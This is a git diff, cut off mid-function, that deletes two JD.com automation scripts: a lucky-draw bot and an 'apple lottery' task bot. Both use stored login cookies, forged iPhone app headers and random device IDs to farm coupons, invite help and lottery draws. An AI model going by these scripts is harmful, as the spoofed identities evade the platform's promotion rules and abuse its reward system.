r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_DrawEntrance.js b/activity/jd_DrawEntrance.js deleted file mode 100644 index acf6a83..0000000 --- a/activity/jd_DrawEntrance.js +++ /dev/null @@ -1,242 +0,0 @@ -/* -天天优惠大乐透 -活动入口-领券-券后9.9 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -15 6 * * * jd_DrawEntrance.js, tag=天天优惠大乐透, enabled=true -================Loon============== -[Script] -cron "15 6 * * *" script-path=jd_DrawEntrance.js,tag=天天优惠大乐透 -===============Surge================= -天天优惠大乐透 = type=cron,cronexp="15 6 * * *",wake-system=1,timeout=3600,script-path=jd_DrawEntrance.js -============小火箭========= -天天优惠大乐透 = type=cron,script-path=jd_DrawEntrance.js, cronexpr="15 6 * * *", timeout=3600, enable=true - */ -const $ = new Env('天天优惠大乐透'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - // message = ''; //不重置信息内容 - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - $.noChance = false; - await extend(); - for (let x = 0; x < 3; x++) { - if ($.noChance) { - continue - } - $.log("\n尝试抽奖") - await doLuckDrawEntrance(); - await $.wait(1000 * 1) - } - } - } - if (message !== "") { - if ($.isNode()) { - await notify.sendNotify($.name,message) - }else{ - $.msg($.name,'',message) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -function extend() { - return new Promise(resolve => { - $.post(taskUrl("getLuckyDrawResourceConfig", {"platformType":"1"}), async (err, resp, data) => { - try { - if (err) { - console.log(err) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.extend=data.result.luckyDrawConfig.extend - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function doLuckDrawEntrance() { - let body = {"platformType":"1","extend":$.extend} - return new Promise(resolve => { - $.post(taskUrl("doLuckDrawEntrance", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success && "luckyDrawData" in data.result) { - if (data.result.luckyDrawData.checkWinOrNot) {//调整判断的顺序 - switch (data.result.luckyDrawData.couponType) { - case '2': - console.log(` 成功领取优惠券:${data.result.luckyDrawData.discount}\n ${data.result.luckyDrawData.quotaDesc},${data.result.luckyDrawData.prizeName}`) - break; - case '0': - console.log(` 成功领取无门槛红包:${data.result.luckyDrawData.quota}`) - //message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n 成功领取无门槛红包:${data.result.luckyDrawData.quota}`//增加通知内容 - break; - default: - console.log(JSON.stringify(data))//这边把对象已文本形式输出,避免对象中的属性有数组形式造成不完全打印 - break; - } - } else { - $.noChance = true; - console.log("已经没有次数了"); - } - } - - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=XPMSGC2019&client=m&clientVersion=1.0.0&area=19_1601_3633_63252&geo=[object Object]&uuid=${$.UUID}`, - headers: { - "Cookie": cookie, - "Host": "api.m.jd.com", - "Origin": "https://h5.m.jd.com", - "Content-Length": "0", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "User-Agent": `jdapp;iPhone;9.5.0;13.5;${$.UUID};network/wifi;ADID/${$.ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,6;addressid/138222502;supportBestPay/0;appBuild/167638;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - "Accept-Language": "zh-cn", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/yj8mbcm6roENn7qhNdhiekyeqtd/index.html", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "text/plain", - } - } -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": `jdapp;iPhone;9.5.0;13.5;${$.UUID};network/wifi;ADID/${$.ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,6;addressid/138222502;supportBestPay/0;appBuild/167638;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/activity/jd_apple_live.js b/activity/jd_apple_live.js deleted file mode 100644 index 27fa552..0000000 --- a/activity/jd_apple_live.js +++ /dev/null @@ -1,417 +0,0 @@ -/* -苹果抽奖机 -脚本会给内置的码进行助力 -活动于2020-12-14日结束 -活动地址:https://h5.m.jd.com/babelDiy/Zeus/2zwQnu4WHRNfqMSdv69UPgpZMnE2/index.html/ -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#苹果抽奖机 -10 0 * * * jd_apple_live.js, tag=苹果抽奖机, enabled=true - -================Loon============== -[Script] -cron "10 0 * * *" script-path=jd_apple_live.js,tag=苹果抽奖机 - -===============Surge================= -苹果抽奖机 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_apple_live.js - -============小火箭========= -苹果抽奖机 = type=cron,script-path=jd_apple_live.js, cronexpr="10 0 * * *", timeout=3600, enable=true - */ -const $ = new Env('苹果抽奖机'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const inviteCodes = [`P04z54XCjVUm4aW5nJcXCCyoR8C6s-kRmWs@P04z54XCjVUm4aW5m9cZ2bx3y5Ow@P04z54XCjVUm4aW5u2ak7ZCdan1BeYMuZ9HwF34gJjW@P04z54XCjVUm4aW5m9cZ2T6jChKkkjZEdhiKUY`, `P04z54XCjVUm4aW5nJcXCCyoR8C6s-kRmWs@P04z54XCjVUm4aW5m9cZ2bx3y5Ow`]; -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat(); - await jdHealth() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdHealth() { - await helpFriends(); - await jdapple_getTaskDetail(); - await doTask(); - await jdapple_getTaskDetail(0); - if($.userInfo.scorePerLottery<=$.userInfo.userScore){ - console.log(`当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖`) - message += `当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖\n` - for(let i=0;i { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - if (new Date().getHours() === 23) { - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} -async function helpFriends() { - for (let code of $.newShareCodes) { - if (!code) continue - const helpRes = await jdapple_collectScore(code,6,null); - if (helpRes.code === 0 && helpRes.data.bizCode === -7) { - console.log(`助力机会已耗尽,跳出`); - break - } - } -} -async function doTask() { - for (let item of $.taskVos) { - if (item.taskType === 9||item.taskType === 26) { - //逛会场任务 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - for (let task of item.shoppingActivityVos) { - if (task.status === 1) { - await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,1); - await $.wait(6500) - await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,0); - } - } - } else if(item.status!==4){ - console.log(`${item.taskName}已做完`) - } - } - if (item.taskType === 8) { - // 浏览商品任务 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - for (let task of item.productInfoVos) { - if (task.status === 1) { - await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,1); - await $.wait(15000) - await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,0); - } - } - } else if(item.status!==4){ - console.log(`${item.taskName}已做完`) - } - } - - if (item.taskType === 1) { - // 关注任务 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - for (let task of item.followShopVo) { - if (task.status === 1) { - console.log(`去关注 ${task.shopName}`) - await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,1); - await $.wait(1000) - await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,0); - } - } - } else if(item.status!==4){ - console.log(`${item.taskName}已做完`) - } - } - - } -} - -//领取做完任务的奖励 -function jdapple_collectScore(taskToken, taskId, itemId, actionType=0) { - return new Promise(resolve => { - let body = { "appId":"1EFRTxw","taskToken":taskToken,"taskId":taskId,"itemId":itemId,"actionType":actionType } - $.post(taskPostUrl("harmony_collectScore", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} 